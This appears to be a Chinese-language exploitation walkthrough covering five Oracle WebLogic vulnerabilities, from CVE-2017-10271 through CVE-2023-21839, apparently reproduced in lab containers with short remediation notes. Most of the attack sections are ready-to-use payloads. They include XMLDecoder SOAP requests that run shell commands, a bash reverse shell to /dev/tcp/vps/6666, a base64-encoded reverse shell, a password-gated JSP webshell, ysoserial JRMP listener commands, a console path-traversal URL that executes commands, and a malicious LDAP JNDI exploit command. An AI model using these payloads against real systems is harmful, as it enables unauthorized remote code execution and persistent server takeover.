CVE-2017-10271

XMLDecoder反序列化

影响版本

  • OracleWebLogic Server10.3.6.0.0
  • OracleWebLogic Server12.1.3.0.0
  • OracleWebLogic Server12.2.1.1.0
  • OracleWebLogic Server12.2.1.2.0

涉及到的路径

  • /wls-wsat/CoordinatorPortType
  • /wls-wsat/RegistrationPortTypeRPC
  • /wls-wsat/ParticipantPortType
  • /wls-wsat/RegistrationRequesterPortType
  • /wls-wsat/CoordinatorPortType11
  • /wls-wsat/RegistrationPortTypeRPC11
  • /wls-wsat/ParticipantPortType11
  • /wls-wsat/RegistrationRequesterPortType11

原理

产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户POST传入的XML数据,通过构造恶意数据进行利用。

漏洞复现

访问7001端口,如下图说明搭建完成

访问路径/wls-wsat/CoordinatorPortType,如果出现下方页面说明存在漏洞

抓包,类型转为POST,再把其中的中的Content-Type改为text/xml以便于解析xml,并传入XML的payload,用dnslog测试是否能利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: x.x.x.x:7001
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Content-Type: text/xml


<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping `whoami`.oh92m2.dnslog.cn</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

看到whoami的回显为root,说明可以利用

反弹shell

更改payload为反弹shell命令,同时在vps上监听6666端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >&amp; /dev/tcp/vps/6666 0>&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

发送数据包后得到shell

写入webshell

除了反弹shell,还可以写入webshell

1
2
3
4
5
6
7
8
9
10
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<%   if("secfree".equals(request.getParameter("password"))){  
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();  
        int a = -1;  
        byte[] b = new byte[2048];  
        out.print("<pre>");  
        while((a=in.read(b))!=-1){  
            out.println(new String(b));  
        }  
        out.print("</pre>");  
    } %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

上传后执行命令即可

1
http://www.xxx.com/bea_wls_internal/test.jsp?password=secfree&command=whoami

工具

WeblogicTool_1.3.jar
最简便的方法还是用开源的工具

检查漏洞

执行命令

修复

  • 升级Weblogic版本
  • 对访问wls-wsat的资源进行访问控制
  • 若Weblogic服务器集群中未应用wls-wsat组件的CoordinatorPortType接口,临时备份后将此组件临时删除,当形成防护能力后,再进行恢复。

CVE-2018-2628

基于Weblogic t3协议引起远程代码执行的反序列化漏洞属于Weblogic JRMP反序列化

影响版本

  • Oracle WebLogic Server10.3.6.0
  • Oracle WebLogic Server12.2.1.2
  • Oracle WebLogic Server12.2.1.3
  • Oracle WebLogic Server12.1.3.0

原理

​RMI是Java平台提供的分布式对象通信机制,允许一个JVM中的对象调用另一个JVM中的对象方法。其默认通信协议为JRMP,  即Java远程消息交换协议,而T3协议是WebLogic专有协议,用于替代JRMP,算是它的优化版吧。

T3协议的数据包结构大概是前面是T3协议头,其他部分为正常的序列化对象,该漏洞是把正常的序列化对象部分改为恶意对象,目标服务器反序列化是就会触发漏洞。

漏洞复现

环境启动后,会开启7001端口

使用ysoserial在vps上7777端口开启一个JRMP Server服务,并将命令设置为为创建一个文件

1
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections6 'touch /tmp/jjxxx'


反弹shell时改为以下命令

1
bash -c {echo,ICAgYmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}

使用exploits.py脚本构造含有恶意恶意序列化数据的JRMP 协议格式数据包,并发送给目标ip 7001端口,当目标ip反序列化数据包之后就会主动去连接上方开启7777端口的JRMP Server恶意服务,进而触发第二次反序列化执行命令。

1
python2 exploit.py 目标ip 7001 ysoserial.jar vpsip 7777 JRMPClient

此时JRMP Server出现回显

脚本跑完之后如下

进入容器的tmp目录查看,成功创建文件

其他

检测漏洞工具WeblogicScan
检测weblogic版本信息和t3协议是否开启

1
nmap -v -n --script https://cdn.jjjxx.top/img/Weblogic-t3-info 靶机ip - p7001,7002

修复

  • 控制默认7001端口T3服务的访问权限
  • 升级版本

CVE-2018-2894

任意文件上传

影响版本

  • Oracle WebLogic Server 10.3.6.0
  • Oracle WebLogic Server 12.1.3.0
  • Oracle WebLogic Server 12.2.1.2
  • Oracle WebLogic Server 12.2.1.3

漏洞复现

开启环境后访问http://ip:7001/console/login/LoginForm.jsp,需要账号密码

看一下密码

1
docker-compose logs | grep password

得到账号密码

登录后,点击base_domain,再点击高级

找到并勾选启动Web服务测试页

先访问/ws_utc/config.do路径,当前的目录不在Web目录下,更改一下工作目录路径到无需权限的静态文件目录下/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

保存后点击安全

点添加

在这里上传webshell,并抓包

可以看到该文件的时间戳

然后访问http://ip:7001/ws_utc/css/config/keystore/时间戳_文件名就可以了

用webshell工具连接

可以正常执行命令

另外一个上传点

修复

  1. 设置Config.do、begin.do页面登录授权后访问;
  2. IPS等防御产品可以加入相应的特征;
  3. 升级到官方最新版本;

CVE-2020-14882

未授权命令执行

影响版本

  • Oracle Weblogic Server 10.3.6.0.0
  • Oracle Weblogic Server 12.1.3.0.0
  • Oracle Weblogic Server 12.2.1.3.0
  • Oracle Weblogic Server 12.2.1.4.0
  • Oracle Weblogic Server 14.1.1.0.0

漏洞复现

可以未授权访问低权限的后台

1
/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%2

1
/console/css/%252e%252e%252fconsole.portal

执行命令

1
/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27ping monster.gdcll8.dnslog.cn%27);%22)

CVE-2020-14882_ALL工具直接利用

1
python CVE-2020-14882_ALL.py -u http://ip:7001/ -c "whoami"

CVE-2023-21839

JNDI

影响版本

  • Oracle WebLogic Server 12.2.1.3.0
  • Oracle WebLogic Server 12.2.1.4.0
  • Oracle WebLogic Server 14.1.1.0.0
    低版本JDK

原理

漏洞原理其实是通过Weblogic t3/iiop协议支持远程绑定对象bind到服务端,当远程对象继承自OpaqueReference时,lookup查看远程对象,服务端调用远程对象getReferent方法,其中存在retVal = context.lookup(this.remoteJNDIName),remoteJNDIName参数可控,攻击者可利用rmi/ldap远程协议进行远程命令执行。

漏洞复现

检测漏洞

先开启恶意LDAP服务

1
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i vpsip

并监听9999端口

这里我使用https://cdn.jjjxx.top/img/Weblogic-CVE-2023-21839EXP利用,该EXP的作用就是构造恶意OpaqueReference对象,并将该对象通过协议绑定到WebLogic的JNDI目录,再调用lookup查看远程对象,同时把remoteJNDIName值设置成恶意LDAP服务,最终目标服务端就会触发漏洞。

1
2
java -jar https://cdn.jjjxx.top/img/Weblogic-CVE-2023-21839.jar 目标:7001 ldap://vpsip:1389/Basic/ReverseShell/vpsip/9999
#第一个参数为目标weblogc服务,第二个参数为恶意LDAP地址

此时弹过来shell

WeblogicTool_1.3.jar工具

修复

  • 升级weblogic版本
  • 临时措施:使用连接筛选器临时阻止外部访问7001端口的T3/T3s协议,禁用IIOP协议